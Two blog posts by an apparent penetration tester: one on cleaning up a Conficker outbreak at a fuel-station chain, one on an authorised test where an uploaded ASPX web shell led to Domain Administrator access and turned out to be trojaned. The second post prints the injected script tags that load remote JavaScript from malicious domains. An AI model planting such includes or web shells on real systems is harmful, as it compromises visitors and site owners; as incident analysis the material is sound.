Conficker isn't gone. delayed impact incident

 Weeks ago, I came back from work at probably 18:30 P.M.
So far, it's all good. right?
Wrong!
Around 19:30 I got a call that says : "leave anything you do and come to ******* (Vendor name removed - will be called "Gas-Supplier" from now on) Headquarter, there's a worm spreading and it's rebooting any computer of their operational network"
Let me stop here for a second and explain what kind of type "Gas-Supplier" is,  "Gas-Supplier" is one of the biggest fuel station in the country. It has more than 200 stations.

So, I've arrived quickly around (20:00 p.m) to see that everybody their is stress. Every person who tries to get fuel in one of these gas-stations, cannot do so, because the computer that responsible to it, gets rebooted every 1 minute.
The first step was checking which worm was spreading and preventing it from further spread. Firewall had been put between every station to each-other on ports 445/135.
Quick scan of the station from remote showed up that those computers are Windows 2000, SP4, Not fully patched. In-fact, they were vulnerable to almost any remote attack to SMB/RPC.

You don't have time to patch [it crushes every minute, till every services like workstation service or other services for remote control [RPC] it takes like 20 seconds, and crushes after 30-40 seconds], them from remote (and they are all around the country, so going single station at the time isn't practical).
That was the time I understood I'm going to be there all night. The CEO, a person who earns millions every-year, sat behind me for sometime and hold his head and I could have hear his self-worries, the fear in his eyes that this will be published the next day.

So, I've tried to figure out remotely what was the problem, it didn't work well because of the crashes I've written above and the slow connection between the VPNs.
I went with 2 workers of "Gas-Supplier", to the closest station, and we checked which virus is causing the computers to crash.
Quickly, an anti-virus on safe-mode showed that it's infected with Conficker (B/C), Kido/ DownUp or any other name that applies to this worm.
So, now we know which worm it is. Should be easier to patch, right? well.. not really.
The conditions to patch it from remote were extremely bad. I've built scripts that copy Kaspersky's Conficker removal tool, that needs to run for a few minutes, but the computer shuts after 1 minutes, because Conficker wasn't written good enough for Windows 2000 SP4 and makes the services.exe crash.
One of the programmer's for "Gas-Supplier" gave me a tool that message-pump the Shutdown event so it basically gave me 5:00 minutes before services.exe crashes the computer and reboots it.
This is a message to conficker writers, please next time, don't crash services.exe on Windows 2000. If it's not safe for you to inject code, don't! You ruined my night :)
So I've remotely put some start-up scripts do dis-infect the computers using the Kaspersky conficker removal tool (which is much better than Norton's removal tool in my opinion) and another one to patch the affected computer.
Did it all night long, on few computer simultaneously (I had to catch it when they were up and not rebooting).
done by 6.00 A.M.

Statistics :
0 News reports about it.
1,000,000$++ made since by that "Gas-Supplier"
2 coffee
1 double espresso
2 days off afterward
1 weird-nice experience.


Cheers.

Trojaned Shell - mystery solved

Once upon a time, I had a client, which requested for a full BlackBox attack on his networks. One of the IPs I got was a website which had an application I've found a vulnerability which allowed me to upload files to the remote server.

Long story short, I've uploaded a shell for aspx files, simply by going to google and googling : "aspx shell" and the first result was actually what I needed to save my time and not writing my own shell.

Google Result. So, I've checked my shell, line by line, to see if that's okay, and indeed it looked great. I've managed to hack inside the website and even got Domain Administrator afterward.

Great news... why am I telling you this you probably ask yourself, that's why, I had a funny incident few weeks later. I've hacked to another website and used the same shell again, this time, I just googled it and didn't validate the code. But when I've entered my remote page at the victim's site (client), I've seen my browser goes to different websites which he can not resolve, that's why I immediately suspected I got a browser-malware, or any other process that injected code to my browser.

One thing I want to clarify, I don't use Anti-Virus, simply, because I don't believe in them. If you've ever tried it, you know it's not hard to bypass anti-virus so he won't recognize your piece of code. I monitor my computer like a lunatic, I check if my SSDT has hooks almost every-day :). I follow on which dlls are on each process, checks services, autoruns verify, etc etc etc. like I said, lunatic :).

That's why it was weird to me that I've seen the browser goes to weird places in wireshark, including some malicious sites. It was weird since I was only in one page, which I know what's the content of (since I've uploaded it to the server) and I don't do anything else which requires internet connection.
Immediately I've started to Debug my firefox, look for suspicious strings in memory, check every single dll it had loaded, checked for arp poisoning if someone is injecting me any FRAME, absolutely NOTHING!

I've started to think that my firefox came trojaned, when I've seen that in one of the scans the anti-viruses I got to check if I got something popular, saw an infected file at the SOURCE-CODE of firefox, which I've downloaded from mozilla. It was extreamly weird, too bad I've forgotten to turn of the automatic delete (since it had deleted, I couldn't examine it) - so I was sure at that point that the same virus that attacked me, had searched for the code, and put malicious code in Firefox source-code as-well! (and I actually was happy to see such a nice malicious code way of spreading :)) - but that's probably a false positive).

(screenshot of BitDefender result's).


By the way, that source-code bz2 file from mozilla, I havn't actually installed it, but used to check some sources where I've thought there's a little bug. Luckily it's open-source, right?

Anyways, I couldn't find anything else on my computer, no more weird sniffing in wire-shark, and almost decided to format my computer, when I've decided that it only appeared on that page.

Well.. I've entered to the same page, again, and viewed the source, directly it appeared to me : THE SHELL-CODE WAS TROJANED. The malicious sites that my browser tried to go to were pages which were reportedly drop-off for malicious software :
Google Safe-Browsing report for omochacha[dot]com

Those lines appeared in the trojaned source-code :
<br /> <script SRC=hxxp://r57.gen.tr/yazciz/ciz.js> ...other parts of shell <script SRC=hxxp://www.r57.gen.tr/yazciz/ciz.js> <script SRC=hxxp://www.n0t.org/yazciz/ciz.js> quite obvious, right? indeed. I've tried to download those js files for analysis, but couldn't download them (404). When I've seen the weird errors, that means the JS download from the script had worked, that's why it tried to contact bunch of other sites like the one a report has been posted above. I've tried to look if the shell-code had arrived trojaned or became infected on my computer and seen a cached google page which indicates I've probably googled it and got it trojaned in the 2nd time I've downloaded it. GOOGLE CACHE Result for the same shell + some "EXTRA SURPRISES" I will try to see if there's any cache for it, and will try to analyze it. I will be going to SANS conference in London this Friday, so I won't have lots of time blogging, but till next time, cheers :)